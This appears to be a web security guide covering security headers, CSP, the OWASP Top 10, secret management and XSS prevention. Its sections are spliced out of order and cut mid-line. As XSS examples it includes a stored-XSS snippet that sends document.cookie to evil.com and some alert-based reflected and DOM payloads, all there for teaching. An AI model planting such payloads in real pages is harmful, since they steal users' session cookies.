res.setHeader('X-Content-Type-Options', 'nosniff');

// Clickjacking protection
res.setHeader('X-Frame-Options', 'DENY');

// XSS protection (legacy)
res.setHeader('X-XSS-Protection', '1; mode=block');

// Referrer policy
res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin');

// Permissions policy
res.setHeader('Permissions-Policy', 'geolocation=(), microphone=(), camera=()');

next();
});

Content-Security-Policy (Detailed)โ€‹

Comprehensive Policy:

Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-{random}' https://trusted-cdn.com;
style-src 'self' 'nonce-{random}' https://fonts.googleapis.com;
img-src 'self' https: data: blob:;
font-src 'self' https://fonts.gstatic.com;
connect-src 'self' https://api.example.com wss://ws.example.com;
media-src 'self' https://media.example.com;
object-src 'none';
frame-src 'none';
base-uri 'self';
form-action 'self';
frame-ancestors 'none';
upgrade-insecure-requests;
block-all-mixed-content;
report-uri /csp-violation-report;

Progressive Enhancement:

// Start with report-only mode
app.use((req, res, next) => {
const nonce = crypto.randomBytes(16).toString('base64');
res.locals.nonce = nonce;

res.setHeader('Content-Security-Policy-Report-Only', `
default-src 'self';
script-src 'self' 'nonce-${nonce}';
style-src 'self' 'nonce-${nonce}';
report-uri /csp-violation-report;
`.replace(/\s+/g, ' ').trim());

next();
});

// Collect violations
app.post('/csp-violation-report', express.json({ type: 'application/csp-report' }), (req, res) => {
const report = req.body['csp-report'];

console.log('CSP Violation:', {
documentUri: report['document-uri'],
violatedDirective: report['violated-directive'],
blockedUri: report['blocked-uri'],
originalPolicy: report['original-policy']
});

// Send to monitoring service
monitoring.track('csp-violation', report);

res.status(204).end();
});

// After analyzing violations, switch to enforcement mode

X-Frame-Optionsโ€‹

// Deny all framing
res.setHeader('X-Frame-Options', 'DENY');

// Allow framing only from same origin
res.setHeader('X-Frame-Options', 'SAMEORIGIN');

// Note: X-Frame-Options is legacy, use CSP frame-ancestors instead
res.setHeader('Content-Security-Policy', "frame-ancestors 'none'");

X-Content-Type-Optionsโ€‹

// Prevent MIME-sniffing
res.setHeader('X-Content-Type-Options', 'nosniff');

// Always set correct Content-Type
res.setHeader('Content-Type', 'application/json; charset=utf-8');

Referrer-Policyโ€‹

// Policies from most to least restrictive:

// No referrer information
res.setHeader('Referrer-Policy', 'no-referrer');

// Send only origin on cross-origin requests
res.setHeader('Referrer-Policy', 'origin');

// Send full URL for same-origin, only origin for cross-origin
res.setHeader('Referrer-Policy', 'origin-when-cross-origin');

// Send full URL for same-origin and HTTPS cross-origin
res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin');

// Send full URL for HTTPS->HTTPS, nothing for HTTPS->HTTP
res.setHeader('Referrer-Policy', 'strict-origin');

// Recommended for most applications
res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin');

Permissions-Policyโ€‹

// Disable sensitive features
res.setHeader('Permissions-Policy', [
'camera=()',
'microphone=()',
'geolocation=()',
'interest-cohort=()', // Disable FLoC
'payment=()',
'usb=()',
'magnetometer=()',
'gyroscope=()',
'speaker=()'
].join(', '));

// Allow specific features for same-origin
res.setHeader('Permissions-Policy', 'geolocation=(self), microphone=(self)');

// Allow for specific origins
res.setHeader('Permissions-Policy', 'geolocation=(self "https://maps.example.com")');

Complete Header Configurationโ€‹

Next.js (next.config.js):

module.exports = {
async headers() {
return [
{
source: '/:path*',
headers: [
{
key: 'Strict-Transport-Security',
value: 'max-age=63072000; includeSubDomains; preload'
},
{
key: 'X-Frame-Options',
value: 'DENY'
},
{
key: 'X-Content-Type-Options',
value: 'nosniff'
},
{
key: 'Referrer-Policy',
value: 'strict-origin-when-cross-origin'
},
{
key: 'Permissions-Policy',
value: 'camera=(), microphone=(), geolocation=()'
}
]
}
];
}
};

9. OWASP Top 10 Deep Diveโ€‹

A01: Broken Access Controlโ€‹

Examples:

  • Accessing resources without authentication
  • Bypassing access control checks
  • IDOR vulnerabilities
  • Privilege escalation
  • CORS misconfiguration

Prevention:

// Centralized authorization
class AccessControl {
static can(user, action, resource) {
// Check user role
if (!user || !user.role) return false;

// Admin can do everything
if (user.role === 'admin') return true;

// Resource-specific checks
switch (action) {
case 'read':
return resource.visibility === 'public' || resource.ownerId === user.id;
case 'update':
case 'delete':
return resource.ownerId === user.id;
default:
return false;
}
}
}

// Middleware
function requireAccess(action) {
return async (req, res, next) => {
const resource = await getResource(req.params.id);

if (!AccessControl.can(req.user, action, resource)) {
return res.status(403).json({ error: 'Forbidden' });
}

req.resource = resource;
next();
};
}

// Usage
app.put('/api/posts/:id',
authenticateToken,
requireAccess('update'),
updatePost
);

A02: Cryptographic Failuresโ€‹

Common Issues:

  • Storing passwords in plain text
  • Weak encryption algorithms
  • Using deprecated protocols (FTP, Telnet)
  • Transmitting sensitive data over HTTP
  • Weak key management

Prevention:

// Strong password hashing
const argon2 = require('argon2');

async function hashPassword(password) {
return await argon2.hash(password, {
type: argon2.argon2id,
memoryCost: 2 ** 16,
timeCost: 3,
parallelism: 1
});
}

// Encryption at rest
const crypto = require('crypto');

const ALGORITHM = 'aes-256-gcm';
const KEY = crypto.scryptSync(process.env.ENCRYPTION_KEY, 'salt', 32);

function encrypt(text) {
const iv = crypto.randomBytes(16);
const cipher = crypto.createCipheriv(ALGORITHM, KEY, iv);

let encrypted = cipher.update(text, 'utf8', 'hex');
encrypted += cipher.final('hex');

const authTag = cipher.getAuthTag();

return {
encrypted,
iv: iv.toString('hex'),
authTag: authTag.toString('hex')
};
}

function decrypt(encrypted, iv, authTag) {
const decipher = crypto.createDecipheriv(
ALGORITHM,
KEY,
Buffer.from(iv, 'hex')
);

decipher.setAuthTag(Buffer.from(authTag, 'hex'));

let decrypted = decipher.update(encrypted, 'hex', 'utf8');
decrypted += decipher.final('utf8');

return decrypted;
}

// Secure data transmission
app.use((req, res, next) => {
if (!req.secure && process.env.NODE_ENV === 'production') {
return res.redirect(301, `https://${req.headers.host}${req.url}`);
}
next();
});

A03: Injectionโ€‹

Types:

  • SQL Injection
  • NoSQL Injection
  • OS Command Injection
  • LDAP Injection
  • XPath Injection

Prevention (already covered in detail above):

  • Use parameterized queries
  • Input validation
  • Least privilege
  • Escape special characters

A04: Insecure Designโ€‹

Examples:

  • Missing security controls in design phase
  • No threat modeling
  • Insufficient rate limiting
  • Business logic flaws

Prevention:

// Threat modeling example: Money transfer
class TransferService {
async transfer(from, to, amount) {
// Security controls designed from start

// 1. Authentication check
if (!from.isAuthenticated) {
throw new Error('Unauthorized');
}

// 2. Authorization check
if (from.id !== currentUser.id) {
throw new Error('Cannot transfer from another account');
}

// 3. Input validation
if (amount <= 0 || amount > 1000000) {
throw new Error('Invalid amount');
}

// 4. Business logic validation
if (from.balance < amount) {
throw new Error('Insufficient funds');
}

// 5. Rate limiting
const recentTransfers = await this.getRecentTransfers(from.id, 3600000);
if (recentTransfers.length >= 10) {
throw new Error('Transfer limit exceeded');
}

// 6. Fraud detection
if (await this.isSuspicious(from, to, amount)) {
await this.flagForReview(from, to, amount);
throw new Error('Transfer flagged for review');
}

// 7. Atomic transaction
await db.transaction(async (trx) => {
await trx('accounts').where({ id: from.id }).decrement('balance', amount);
await trx('accounts').where({ id: to.id }).increment('balance', amount);
await trx('transfers').insert({ from: from.id, to: to.id, amount, timestamp: Date.now() });
});

// 8. Audit logging
await this.logTransfer(from, to, amount);

// 9. Notification
await this.notifyUsers(from, to, amount);
}
}

A05: Security Misconfigurationโ€‹

Common Issues:

  • Default credentials
  • Unnecessary features enabled
  • Detailed error messages
  • Missing security headers
  • Outdated software

Prevention:

// Remove default accounts
// Remove unused dependencies
// Disable directory listing
// Hide server version

// Express security
app.disable('x-powered-by');

// Error handling
if (process.env.NODE_ENV === 'production') {
app.use((err, req, res, next) => {
console.error(err); // Log server-side
res.status(500).json({ error: 'Internal server error' }); // Generic client message
});
} else {
app.use((err, req, res, next) => {
console.error(err);
res.status(500).json({ error: err.message, stack: err.stack });
});
}

// Nginx security
server {
# Hide version
server_tokens off;

# Disable directory listing
autoindex off;

# Remove unnecessary methods
if ($request_method !~ ^(GET|POST|PUT|DELETE|HEAD)$ ) {
return 405;
}
}

A06: Vulnerable and Outdated Componentsโ€‹

Prevention:

# Check for vulnerabilities
npm audit
npm audit fix

# Update dependencies
npm outdated
npm update

# Use specific versions (not ranges)
# package.json
{
"dependencies": {
"express": "4.18.2", # Not "^4.18.2"
}
}

# Lock file
npm ci # Use package-lock.json for reproducible builds

# Automated scanning
# GitHub Dependabot
# Snyk
# OWASP Dependency-Check

Monitoring:

// npm-check
const npmCheck = require('npm-check');

async function checkDependencies() {
const currentState = await npmCheck();

currentState.get('packages').forEach(pkg => {
if (pkg.unused) {
console.warn(`Unused package: ${pkg.moduleName}`);
}
if (pkg.bump) {
console.warn(`Update available: ${pkg.moduleName} ${pkg.installed} โ†’ ${pkg.latest}`);
}
});
}

// Run monthly
setInterval(checkDependencies, 30 * 24 * 60 * 60 * 1000);

A07: Identification and Authentication Failuresโ€‹

Prevention:

  • Implement MFA
  • Secure password reset
  • Session management
  • Account lockout

Secure Password Reset:

// Generate reset token
async function requestPasswordReset(email) {
const user = await getUserByEmail(email);

if (!user) {
// Don't reveal if email exists
return { success: true };
}

// Generate secure token
const token = crypto.randomBytes(32).toString('hex');
const hashedToken = crypto.createHash('sha256').update(token).digest('hex');

// Store with expiration
await db.query(
'UPDATE users SET reset_token = ?, reset_token_expires = ? WHERE id = ?',
[hashedToken, Date.now() + 3600000, user.id] // 1 hour
);

// Send email with token
await sendEmail(user.email, 'Password Reset', `
Reset your password: https://example.com/reset-password?token=${token}
This link expires in 1 hour.
`);

return { success: true };
}

// Verify and reset
async function resetPassword(token, newPassword) {
const hashedToken = crypto.createHash('sha256').update(token).digest('hex');

const user = await db.query(
'SELECT * FROM users WHERE reset_token = ? AND reset_token_expires > ?',
[hashedToken, Date.now()]
);

if (!user) {
throw new Error('Invalid or expired token');
}

// Validate new password
validatePassword(newPassword);

// Hash new password
const hashedPassword = await argon2.hash(newPassword);

// Update password and clear reset token
await db.query(
'UPDATE users SET password = ?, reset_token = NULL, reset_token_expires = NULL, token_version = token_version + 1 WHERE id = ?',
[hashedPassword, user.id]
);

// Invalidate all sessions
await invalidateAllSessions(user.id);

// Notify user
await sendEmail(user.email, 'Password Changed', 'Your password has been successfully changed.');

return { success: true };
}

A08: Software and Data Integrity Failuresโ€‹

Prevention:

// Subresource Integrity for CDN resources
<script
src="https://cdn.example.com/library.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
crossorigin="anonymous">
</script>

// Verify package integrity
npm ci --prefer-offline

// Code signing
# Sign releases
gpg --sign --armor release.tar.gz

# Verify signature
gpg --verify release.tar.gz.asc

// CI/CD pipeline security
# Use signed commits
git commit -S -m "Commit message"

# Verify commits
git verify-commit HEAD

# Secure environment variables
# Never commit secrets
# Use secret management (AWS Secrets Manager, HashiCorp Vault)

A09: Security Logging and Monitoring Failuresโ€‹

Implementation:

const winston = require('winston');
const expressWinston = require('express-winston');

// Configure logger
const logger = winston.createLogger({
level: 'info',
format: winston.format.combine(
winston.format.timestamp(),
winston.format.errors({ stack: true }),
winston.format.json()
),
defaultMeta: { service: 'api-server' },
transports: [
new winston.transports.File({ filename: 'error.log', level: 'error' }),
new winston.transports.File({ filename: 'combined.log' })
]
});

// Log all requests
app.use(expressWinston.logger({
transports: [
new winston.transports.File({ filename: 'access.log' })
],
format: winston.format.combine(
winston.format.timestamp(),
winston.format.json()
),
meta: true,
msg: "HTTP {{req.method}} {{req.url}}",
expressFormat: true,
colorize: false
}));

// Log security events
function logSecurityEvent(event, details) {
logger.warn('Security Event', {
event,
...details,
timestamp: new Date().toISOString()
});

// Alert if critical
if (event === 'multiple_failed_logins' || event === 'suspicious_activity') {
alertSecurityTeam(event, details);
}
}

// Monitor failed logins
app.post('/login', async (req, res) => {
const { email, password } = req.body;

const user = await authenticateUser(email, password);

if (!user) {
logSecurityEvent('failed_login', {
email,
ip: req.ip,
userAgent: req.headers['user-agent']
});

// Check for brute force
const recentFailures = await getRecentFailedLogins(email, 900000); // 15 min
if (recentFailures >= 5) {
logSecurityEvent('multiple_failed_logins', { email, count: recentFailures });
}

return res.status(401).json({ error: 'Invalid credentials' });
}

logSecurityEvent('successful_login', {
userId: user.id,
ip: req.ip
});

res.json({ success: true });
});

// Anomaly detection
function detectAnomalies(userId) {
const recentActivity = getUserActivity(userId, 3600000); // 1 hour

// Check for suspicious patterns
if (recentActivity.uniqueIPs > 5) {
logSecurityEvent('suspicious_activity', {
userId,
reason: 'Multiple IPs',
count: recentActivity.uniqueIPs
});
}

if (recentActivity.apiCalls > 1000) {
logSecurityEvent('suspicious_activity', {
userId,
reason: 'Excessive API calls',
count: recentActivity.apiCalls
});
}
}

A10: Server-Side Request Forgery (SSRF)โ€‹

Prevention (covered earlier, additional examples):

// Whitelist approach
const ALLOWED_HOSTS = new Set([
'api.github.com',
'api.stripe.com',
'api.sendgrid.com'
]);

async function fetchExternal(url) {
const parsed = new URL(url);

if (!ALLOWED_HOSTS.has(parsed.hostname)) {
throw new Error('Host not allowed');
}

const response = await axios.get(url, {
timeout: 5000,
maxRedirects: 0,
validateStatus: status => status === 200
});

return response.data;
}

// Use proxy for external requests
const HttpsProxyAgent = require('https-proxy-agent');

const agent = new HttpsProxyAgent('http://proxy.internal:8080');

await axios.get(url, { httpsAgent: agent });

10. Modern Security Practicesโ€‹

Zero Trust Architectureโ€‹

Principles:

  1. Never trust, always verify
  2. Assume breach
  3. Verify explicitly
  4. Use least privilege access
  5. Segment access

Implementation:

// Every request requires authentication and authorization
app.use('/api/*', authenticateToken);

// Context-aware access control
function contextAwareAuth(req, res, next) {
const context = {
user: req.user,
ip: req.ip,
device: req.headers['user-agent'],
time: Date.now(),
location: req.headers['cf-ipcountry'] // Cloudflare
};

// Risk assessment
const risk = assessRisk(context);

if (risk > 0.7) {
// Require additional authentication
return res.status(403).json({
error: 'Additional authentication required',
requiresMFA: true
});
}

next();
}

// Micro-segmentation
const userService = axios.create({
baseURL: 'http://user-service:3001',
headers: { 'X-Service-Token': process.env.SERVICE_TOKEN }
});

const paymentService = axios.create({
baseURL: 'http://payment-service:3002',
headers: { 'X-Service-Token': process.env.SERVICE_TOKEN }
});

Supply Chain Securityโ€‹

Package Verification:

# Verify package signatures
npm install --ignore-scripts

# Use lockfile
npm ci

# Audit dependencies
npm audit
npm audit fix

# Check for known vulnerabilities
npx snyk test

# Use private registry
npm config set registry https://registry.internal.company.com

Dependency Management:

// package.json - Pin exact versions
{
"dependencies": {
"express": "4.18.2",
"helmet": "7.0.0"
},
"devDependencies": {
"jest": "29.5.0"
}
}

// .npmrc
package-lock=true
save-exact=true

Subresource Integrity:

<!-- Generate SRI hash -->
<script
src="https://cdn.example.com/app.js"
integrity="sha384-<hash>"
crossorigin="anonymous">
</script>

<link
rel="stylesheet"
href="https://cdn.example.com/style.css"
integrity="sha384-<hash>"
crossorigin="anonymous">

Secret Managementโ€‹

Using Environment Variables:

// .env (never commit!)
DATABASE_URL=postgresql://user:pass@localhost/db
API_KEY=abc123secret
JWT_SECRET=supersecretkey

// Load with dotenv
require('dotenv').config();

const dbUrl = process.env.DATABASE_URL;

Using Secret Management Services:

// AWS Secrets Manager
const AWS = require('aws-sdk');
const secretsManager = new AWS.SecretsManager({ region: 'us-east-1' });

async function getSecret(secretName) {
const data = await secretsManager.getSecretValue({ SecretId: secretName }).promise();
return JSON.parse(data.SecretString);
}

const dbCredentials = await getSecret('prod/database');

// HashiCorp Vault
const vault = require('node-vault')({
endpoint: 'http://vault.internal:8200',
token: process.env.VAULT_TOKEN
});

const secrets = await vault.read('secret/data/myapp');
const apiKey = secrets.data.data.api_key;

Secrets in CI/CD:

# GitHub Actions
name: Deploy
on: [push]
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: Deploy
env:
API_KEY: ${{ secrets.API_KEY }}
run: |
echo "Deploying with API key"

Security Monitoring & Loggingโ€‹

Centralized Logging:

// Send logs to external service
const { createLogger, transports } = require('winston');
const { LogtailTransport } = require('@logtail/winston');

const logger = createLogger({
transports: [
new LogtailTransport({ sourceToken: process.env.LOGTAIL_TOKEN }),
new transports.Console()
]
});

logger.info('Application started', { version: '1.0.0' });
logger.error('Database connection failed', { error: err.message });

Metrics & Alerts:

// Prometheus metrics
const promClient = require('prom-client');
const register = new promClient.Registry();

// Custom metrics
const httpRequestDuration = new promClient.Histogram({
name: 'http_request_duration_seconds',
help: 'Duration of HTTP requests in seconds',
labelNames: ['method', 'route', 'status_code'],
registers: [register]
});

app.use((req, res, next) => {
const start = Date.now();

res.on('finish', () => {
const duration = (Date.now() - start) / 1000;
httpRequestDuration
.labels(req.method, req.route?.path || req.path, res.statusCode# ๐Ÿ” Complete Web Security Guide

> A comprehensive guide covering web security fundamentals, common vulnerabilities, and modern best practices for building secure web applications.

---

## ๐Ÿ“‹ Table of Contents

1. [Introduction to Web Security](#1-introduction-to-web-security)
- [What is Web Security?](#what-is-web-security)
- [Why Web Security Matters](#why-web-security-matters)
- [Security Layers](#security-layers)

2. [Core Security Principles](#2-core-security-principles)
- [CIA Triad](#cia-triad)
- [AAA Framework](#aaa-framework)
- [Defense in Depth](#defense-in-depth)
- [Principle of Least Privilege](#principle-of-least-privilege)

3. [Browser & Frontend Security](#3-browser--frontend-security)
- [Same-Origin Policy (SOP)](#same-origin-policy-sop)
- [Cross-Origin Resource Sharing (CORS)](#cross-origin-resource-sharing-cors)
- [Cross-Site Scripting (XSS)](#cross-site-scripting-xss)
- [Cross-Site Request Forgery (CSRF)](#cross-site-request-forgery-csrf)
- [Clickjacking](#clickjacking)
- [Content Security Policy (CSP)](#content-security-policy-csp)
- [Subresource Integrity (SRI)](#subresource-integrity-sri)

4. [Cookie Security](#4-cookie-security)
- [Cookie Flags Explained](#cookie-flags-explained)
- [Cookie Best Practices](#cookie-best-practices)
- [Session Management](#session-management)

5. [Authentication & Authorization](#5-authentication--authorization)
- [Authentication Methods](#authentication-methods)
- [Password Security](#password-security)
- [JSON Web Tokens (JWT)](#json-web-tokens-jwt)
- [OAuth 2.0 & OpenID Connect](#oauth-20--openid-connect)
- [Multi-Factor Authentication (MFA)](#multi-factor-authentication-mfa)
- [WebAuthn & Passkeys](#webauthn--passkeys)
- [Authorization Patterns](#authorization-patterns)

6. [Backend & API Security](#6-backend--api-security)
- [Input Validation](#input-validation)
- [SQL Injection](#sql-injection)
- [NoSQL Injection](#nosql-injection)
- [Command Injection](#command-injection)
- [Insecure Direct Object References (IDOR)](#insecure-direct-object-references-idor)
- [Server-Side Request Forgery (SSRF)](#server-side-request-forgery-ssrf)
- [XML External Entity (XXE)](#xml-external-entity-xxe)
- [API Security Best Practices](#api-security-best-practices)

7. [Transport & Network Security](#7-transport--network-security)
- [HTTPS & TLS](#https--tls)
- [Certificate Management](#certificate-management)
- [HTTP Strict Transport Security (HSTS)](#http-strict-transport-security-hsts)
- [DNS Security](#dns-security)
- [DDoS Protection](#ddos-protection)

8. [Security Headers](#8-security-headers)
- [Essential Headers Overview](#essential-headers-overview)
- [Content-Security-Policy](#content-security-policy-detailed)
- [X-Frame-Options](#x-frame-options)
- [X-Content-Type-Options](#x-content-type-options)
- [Referrer-Policy](#referrer-policy)
- [Permissions-Policy](#permissions-policy)
- [Complete Header Configuration](#complete-header-configuration)

9. [OWASP Top 10 Deep Dive](#9-owasp-top-10-deep-dive)
- [A01 Broken Access Control](#a01-broken-access-control)
- [A02 Cryptographic Failures](#a02-cryptographic-failures)
- [A03 Injection](#a03-injection)
- [A04 Insecure Design](#a04-insecure-design)
- [A05 Security Misconfiguration](#a05-security-misconfiguration)
- [A06 Vulnerable Components](#a06-vulnerable-components)
- [A07 Authentication Failures](#a07-authentication-failures)
- [A08 Software/Data Integrity Failures](#a08-softwaredata-integrity-failures)
- [A09 Logging & Monitoring Failures](#a09-logging--monitoring-failures)
- [A10 Server-Side Request Forgery](#a10-server-side-request-forgery)

10. [Modern Security Practices](#10-modern-security-practices)
- [Zero Trust Architecture](#zero-trust-architecture)
- [Supply Chain Security](#supply-chain-security)
- [Dependency Management](#dependency-management)
- [Secret Management](#secret-management)
- [Security Monitoring & Logging](#security-monitoring--logging)
- [Incident Response](#incident-response)

11. [Framework-Specific Security](#11-framework-specific-security)
- [React Security](#react-security)
- [Next.js Security](#nextjs-security)
- [Node.js/Express Security](#nodejsexpress-security)
- [REST API Security](#rest-api-security)
- [GraphQL Security](#graphql-security)

12. [Testing & Auditing](#12-testing--auditing)
- [Security Testing Approaches](#security-testing-approaches)
- [Penetration Testing](#penetration-testing)
- [Static Application Security Testing (SAST)](#static-application-security-testing-sast)
- [Dynamic Application Security Testing (DAST)](#dynamic-application-security-testing-dast)
- [Security Audit Checklist](#security-audit-checklist)

13. [Compliance & Standards](#13-compliance--standards)
- [GDPR](#gdpr)
- [PCI DSS](#pci-dss)
- [HIPAA](#hipaa)
- [SOC 2](#soc-2)

14. [Security Checklists](#14-security-checklists)
- [Frontend Security Checklist](#frontend-security-checklist)
- [Backend Security Checklist](#backend-security-checklist)
- [API Security Checklist](#api-security-checklist)
- [Deployment Security Checklist](#deployment-security-checklist)

15. [Resources & Tools](#15-resources--tools)

---

## 1. Introduction to Web Security

### What is Web Security?

Web security encompasses all practices, technologies, and processes designed to protect web applications, their users, and data from unauthorized access, attacks, and exploitation. It's a continuous process of identifying vulnerabilities and implementing protective measures.

**Key Components:**
- **Application Security**: Protecting the code and logic
- **Data Security**: Protecting sensitive information
- **Network Security**: Protecting communication channels
- **Infrastructure Security**: Protecting servers and hosting environments

### Why Web Security Matters

**Real-World Impact:**
- **Data Breaches**: Average cost of $4.45M per breach (2023)
- **Reputation Damage**: Loss of customer trust
- **Legal Consequences**: GDPR fines up to โ‚ฌ20M or 4% of revenue
- **Business Disruption**: Downtime and lost revenue

**Common Attack Vectors:**
- 43% of cyberattacks target small businesses
- 95% of cybersecurity breaches are due to human error
- Web applications are involved in 26% of data breaches

### Security Layers

Web security should be implemented across three layers:

1. **Client Layer (Browser/Frontend)**
- Input validation
- Secure cookie handling
- XSS prevention
- CSRF protection

2. **Server Layer (Backend/APIs)**
- Authentication & authorization
- SQL injection prevention
- Rate limiting
- Secure session management

3. **Network Layer (Infrastructure)**
- HTTPS/TLS encryption
- Firewall configuration
- DDoS protection
- DNS security

---

## 2. Core Security Principles

### CIA Triad

The foundation of information security:

**1. Confidentiality**
- Data is accessible only to authorized parties
- Encryption at rest and in transit
- Access control mechanisms
- Data classification

**2. Integrity**
- Data remains accurate and unaltered
- Hash functions for verification
- Digital signatures
- Audit trails

**3. Availability**
- Systems remain accessible to authorized users
- Redundancy and backups
- DDoS protection
- Disaster recovery plans

### AAA Framework

**Authentication** - *Who are you?*
- Verifying identity
- Username/password, biometrics, tokens
- Multi-factor authentication

**Authorization** - *What can you do?*
- Determining access rights
- Role-based access control (RBAC)
- Attribute-based access control (ABAC)

**Accounting/Auditing** - *What did you do?*
- Tracking user activities
- Logging and monitoring
- Compliance and forensics

### Defense in Depth

Multiple layers of security controls:

โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ” โ”‚ Perimeter Security (WAF) โ”‚ โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค โ”‚ Network Security (Firewall) โ”‚ โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค โ”‚ Application Security โ”‚ โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค โ”‚ Data Security (Encryption) โ”‚ โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค โ”‚ Physical Security โ”‚ โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜


### Principle of Least Privilege

Grant minimum access necessary:
- Users get only required permissions
- Time-limited access tokens
- Separation of duties
- Regular permission audits

---

## 3. Browser & Frontend Security

### Same-Origin Policy (SOP)

**What It Is:**
The cornerstone of web security. Prevents scripts from one origin from accessing data from another origin.

**Origin Definition:**

Origin = Protocol + Domain + Port

โœ… Same Origin: https://example.com:443/page1 https://example.com:443/page2

โŒ Different Origin: https://example.com vs http://example.com (protocol) https://example.com vs https://api.example.com (subdomain) https://example.com:443 vs https://example.com:8080 (port)


**What SOP Protects:**
- DOM access
- Cookie access
- AJAX requests
- LocalStorage/SessionStorage

**Best Practices:**
โœ… **Use:** Rely on SOP as foundational protection
โœ… **Use:** CORS for controlled cross-origin access
โŒ **Avoid:** Disabling SOP (never do this)
โŒ **Avoid:** Using JSONP (outdated and insecure)

### Cross-Origin Resource Sharing (CORS)

**What It Is:**
Mechanism to relax Same-Origin Policy in a controlled manner.

**How It Works:**
```http
# Browser sends preflight request
OPTIONS /api/data HTTP/1.1
Origin: https://frontend.com
Access-Control-Request-Method: POST

# Server responds
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://frontend.com
Access-Control-Allow-Methods: POST, GET
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 3600

Configuration Examples:

Express.js:

const cors = require('cors');

// โŒ INSECURE - Never do this in production
app.use(cors({
origin: '*',
credentials: true
}));

// โœ… SECURE - Whitelist specific origins
app.use(cors({
origin: ['https://app.example.com', 'https://admin.example.com'],
credentials: true,
methods: ['GET', 'POST', 'PUT', 'DELETE'],
allowedHeaders: ['Content-Type', 'Authorization'],
maxAge: 86400
}));

// โœ… SECURE - Dynamic validation
app.use(cors({
origin: function (origin, callback) {
const allowedOrigins = process.env.ALLOWED_ORIGINS.split(',');
if (!origin || allowedOrigins.includes(origin)) {
callback(null, true);
} else {
callback(new Error('Not allowed by CORS'));
}
},
credentials: true
}));

Best Practices: โœ… Use: Specific origin whitelist โœ… Use: Credentials only with trusted origins โœ… Use: Appropriate methods and headers โŒ Avoid: Access-Control-Allow-Origin: * with credentials โŒ Avoid: Reflecting origin header without validation โŒ Avoid: Overly permissive configurations

Common Mistakes:

// โŒ DANGEROUS - Reflects any origin with credentials
app.use((req, res, next) => {
res.header('Access-Control-Allow-Origin', req.headers.origin);
res.header('Access-Control-Allow-Credentials', 'true');
next();
});

// โœ… SAFE - Validates before reflecting
const allowedOrigins = ['https://app.example.com'];
app.use((req, res, next) => {
const origin = req.headers.origin;
if (allowedOrigins.includes(origin)) {
res.header('Access-Control-Allow-Origin', origin);
res.header('Access-Control-Allow-Credentials', 'true');
}
next();
});

Cross-Site Scripting (XSS)โ€‹

What It Is: Injecting malicious scripts into trusted websites that execute in victims' browsers.

Types of XSS:

1. Stored XSS (Most Dangerous)

// Attacker submits comment:
<script>
fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>

// Stored in database, executed for all users viewing the comment

2. Reflected XSS

// URL: https://example.com/search?q=<script>alert(1)</script>

// Server reflects input:
<div>Search results for: <script>alert(1)</script></div>

3. DOM-Based XSS

// URL: https://example.com/#<img src=x onerror=alert(1)>

// Vulnerable JavaScript:
document.body.innerHTML = location.hash.slice(1);

Prevention Strategies:

1. Output Encoding:

// โŒ VULNERABLE
function displayName(name) {
document.getElementById('output').innerHTML = name;
}

// โœ… SAFE - Use textContent
function displayName(name) {
document.getElementById('output').textContent = name;
}

// โœ… SAFE - HTML encode
function escapeHtml(unsafe) {
return unsafe
.replace(/&/g, "&amp;")
.replace(/</g, "&lt;")
.replace(/>/g, "&gt;")
.replace(/"/g, "&quot;")
.replace(/'/g, "&#039;");
}

2. React (Automatic Escaping):

// โœ… SAFE - Automatic escaping
function UserGreeting({ username }) {
return <div>Hello, {username}</div>;
}

// โŒ DANGEROUS - Bypasses escaping
function UnsafeComponent({ html }) {
return <div dangerouslySetInnerHTML={{ __html: html }} />;
}

// โœ… SAFE - Sanitize first
import DOMPurify from 'dompurify';

function SafeComponent({ html }) {
const clean = DOMPurify.sanitize(html);
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}

3. Content Security Policy:

Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-2726c7f26c';
style-src 'self' 'unsafe-inline';
img-src 'self' https://cdn.example.com;
object-src 'none';

4. Input Validation:

// Server-side validation
const validateUsername = (username) => {
const regex = /^[a-zA-Z0-9_-]{3,20}$/;
if (!regex.test(username)) {
throw new Error('Invalid username format');
}
return username;
};

// Sanitization library
const sanitizeHtml = require('sanitize-html');

const clean = sanitizeHtml(dirtyHtml, {
allowedTags: ['b', 'i', 'em', 'strong', 'a', 'p'],
allowedAttributes: {
'a': ['href']
},
